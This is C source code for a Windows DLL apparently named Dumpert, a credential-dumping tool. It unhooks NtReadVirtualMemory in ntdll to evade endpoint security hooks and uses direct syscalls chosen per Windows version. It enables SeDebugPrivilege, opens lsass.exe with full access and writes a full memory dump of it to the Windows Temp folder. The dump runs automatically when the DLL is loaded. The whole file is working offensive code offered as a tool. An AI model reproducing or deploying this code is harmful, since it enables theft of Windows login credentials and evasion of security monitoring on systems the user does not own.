#undef _UNICODE #define _UNICODE #undef UNICODE #define UNICODE #include #include #include "Dumpert.h" #include #pragma comment (lib, "Dbghelp.lib") BOOL Unhook_NativeAPI(IN PWIN_VER_INFO pWinVerInfo) { BYTE AssemblyBytes[] = {0x4C, 0x8B, 0xD1, 0xB8, 0xFF}; if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) { AssemblyBytes[4] = pWinVerInfo->SystemCall; ZwWriteVirtualMemory = &ZwWriteVirtualMemory10; ZwProtectVirtualMemory = &ZwProtectVirtualMemory10; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && pWinVerInfo->dwBuildNumber == 7601) { AssemblyBytes[4] = pWinVerInfo->SystemCall; ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1; ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) { AssemblyBytes[4] = pWinVerInfo->SystemCall; ZwWriteVirtualMemory = &ZwWriteVirtualMemory80; ZwProtectVirtualMemory = &ZwProtectVirtualMemory80; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) { AssemblyBytes[4] = pWinVerInfo->SystemCall; ZwWriteVirtualMemory = &ZwWriteVirtualMemory81; ZwProtectVirtualMemory = &ZwProtectVirtualMemory81; } else { return FALSE; } LPVOID lpProcAddress = GetProcAddress(LoadLibrary(L"ntdll.dll"), pWinVerInfo->lpApiCall); ULONG OldProtection, NewProtection; SIZE_T uSize = 10; NTSTATUS status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpProcAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection); if (status != STATUS_SUCCESS) { return FALSE; } status = ZwWriteVirtualMemory(GetCurrentProcess(), lpProcAddress, (PVOID)AssemblyBytes, sizeof(AssemblyBytes), NULL); if (status != STATUS_SUCCESS) { return FALSE; } status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpProcAddress, &uSize, OldProtection, &NewProtection); if (status != STATUS_SUCCESS) { return FALSE; } return TRUE; } BOOL GetPID(IN PWIN_VER_INFO pWinVerInfo) { pWinVerInfo->hTargetPID = NULL; if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) { ZwQuerySystemInformation = &ZwQuerySystemInformation10; NtAllocateVirtualMemory = &NtAllocateVirtualMemory10; NtFreeVirtualMemory = &NtFreeVirtualMemory10; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && pWinVerInfo->dwBuildNumber == 7601) { ZwQuerySystemInformation = &ZwQuerySystemInformation7SP1; NtAllocateVirtualMemory = &NtAllocateVirtualMemory7SP1; NtFreeVirtualMemory = &NtFreeVirtualMemory7SP1; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) { ZwQuerySystemInformation = &ZwQuerySystemInformation80; NtAllocateVirtualMemory = &NtAllocateVirtualMemory80; NtFreeVirtualMemory = &NtFreeVirtualMemory80; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) { ZwQuerySystemInformation = &ZwQuerySystemInformation81; NtAllocateVirtualMemory = &NtAllocateVirtualMemory81; NtFreeVirtualMemory = &NtFreeVirtualMemory81; } else { return FALSE; } ULONG uReturnLength = 0; NTSTATUS status = ZwQuerySystemInformation(SystemProcessInformation, 0, 0, &uReturnLength); if (!status == 0xc0000004) { return FALSE; } LPVOID pBuffer = NULL; SIZE_T uSize = uReturnLength; status = NtAllocateVirtualMemory(GetCurrentProcess(), &pBuffer, 0, &uSize, MEM_COMMIT, PAGE_READWRITE); if (status != 0) { return FALSE; } status = ZwQuerySystemInformation(SystemProcessInformation, pBuffer, uReturnLength, &uReturnLength); if (status != 0) { return FALSE; } _RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString"); if (RtlEqualUnicodeString == NULL) { return FALSE; } PSYSTEM_PROCESSES pProcInfo = (PSYSTEM_PROCESSES)pBuffer; do { if (RtlEqualUnicodeString(&pProcInfo->ProcessName, &pWinVerInfo->ProcName, TRUE)) { pWinVerInfo->hTargetPID = pProcInfo->ProcessId; break; } pProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)pProcInfo) + pProcInfo->NextEntryDelta); } while (pProcInfo); status = NtFreeVirtualMemory(GetCurrentProcess(), &pBuffer, &uSize, MEM_RELEASE); if (pWinVerInfo->hTargetPID == NULL) { return FALSE; } return TRUE; } BOOL IsElevated() { BOOL fRet = FALSE; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { TOKEN_ELEVATION Elevation = { 0 }; DWORD cbSize = sizeof(TOKEN_ELEVATION); if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) { fRet = Elevation.TokenIsElevated; } } if (hToken) { CloseHandle(hToken); } return fRet; } BOOL SetDebugPrivilege() { HANDLE hToken = NULL; TOKEN_PRIVILEGES TokenPrivileges = { 0 }; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { return FALSE; } TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0; LPWSTR lpwPriv = L"SeDebugPrivilege"; if (!LookupPrivilegeValueW(NULL, (LPCWSTR)lpwPriv, &TokenPrivileges.Privileges[0].Luid)) { CloseHandle(hToken); return FALSE; } if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { CloseHandle(hToken); return FALSE; } CloseHandle(hToken); return TRUE; } __declspec(dllexport) void __cdecl Dump() { if (sizeof(LPVOID) != 8) { exit(1); } if (!IsElevated()) { exit(1); } SetDebugPrivilege(); PWIN_VER_INFO pWinVerInfo = (PWIN_VER_INFO)calloc(1, sizeof(WIN_VER_INFO)); // First set OS Version/Architecture specific values OSVERSIONINFOEXW osInfo; osInfo.dwOSVersionInfoSize = sizeof(osInfo); _RtlGetVersion RtlGetVersion = (_RtlGetVersion) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlGetVersion"); if (RtlGetVersion == NULL) { exit(1); } RtlGetVersion(&osInfo); swprintf_s(pWinVerInfo->chOSMajorMinor, _countof(pWinVerInfo->chOSMajorMinor), L"%u.%u", osInfo.dwMajorVersion, osInfo.dwMinorVersion); pWinVerInfo->dwBuildNumber = osInfo.dwBuildNumber; // Now create os/build specific syscall function pointers. if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) { ZwOpenProcess = &ZwOpenProcess10; ZwClose = &ZwClose10; NtCreateFile = &NtCreateFile10; pWinVerInfo->SystemCall = 0x3F; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && osInfo.dwBuildNumber == 7601) { ZwOpenProcess = &ZwOpenProcess7SP1; ZwClose = &ZwClose7SP1; NtCreateFile = &NtCreateFile7SP1; pWinVerInfo->SystemCall = 0x3C; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) { ZwOpenProcess = &ZwOpenProcess80; ZwClose = &ZwClose80; NtCreateFile = &NtCreateFile80; pWinVerInfo->SystemCall = 0x3D; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) { ZwOpenProcess = &ZwOpenProcess81; ZwClose = &ZwClose81; NtCreateFile = &NtCreateFile81; pWinVerInfo->SystemCall = 0x3E; } else { exit(1); } _RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString"); if (RtlInitUnicodeString == NULL) { exit(1); } RtlInitUnicodeString(&pWinVerInfo->ProcName, L"lsass.exe"); if (!GetPID(pWinVerInfo)) { exit(1); } pWinVerInfo->lpApiCall = "NtReadVirtualMemory"; if (!Unhook_NativeAPI(pWinVerInfo)) { exit(1); } HANDLE hProcess = NULL; OBJECT_ATTRIBUTES ObjectAttributes; InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); CLIENT_ID uPid = { 0 }; uPid.UniqueProcess = pWinVerInfo->hTargetPID; uPid.UniqueThread = (HANDLE)0; NTSTATUS status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &ObjectAttributes, &uPid); if (hProcess == NULL) { exit(1); } WCHAR chDmpFile[MAX_PATH] = L"\\??\\"; WCHAR chWinPath[MAX_PATH]; GetWindowsDirectory(chWinPath, MAX_PATH); wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), chWinPath); wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), L"\\Temp\\dumpert.dmp"); UNICODE_STRING uFileName; RtlInitUnicodeString(&uFileName, chDmpFile); HANDLE hDmpFile = NULL; IO_STATUS_BLOCK IoStatusBlock; ZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock)); OBJECT_ATTRIBUTES FileObjectAttributes; InitializeObjectAttributes(&FileObjectAttributes, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL); // Open input file for writing, overwrite existing file. status = NtCreateFile(&hDmpFile, FILE_GENERIC_WRITE, &FileObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if (hDmpFile == INVALID_HANDLE_VALUE) { ZwClose(hProcess); exit(1); } DWORD dwTargetPID = GetProcessId(hProcess); BOOL Success = MiniDumpWriteDump(hProcess, dwTargetPID, hDmpFile, MiniDumpWithFullMemory, NULL, NULL, NULL); ZwClose(hDmpFile); ZwClose(hProcess); return; } BOOL APIENTRY DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: Dump(); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; }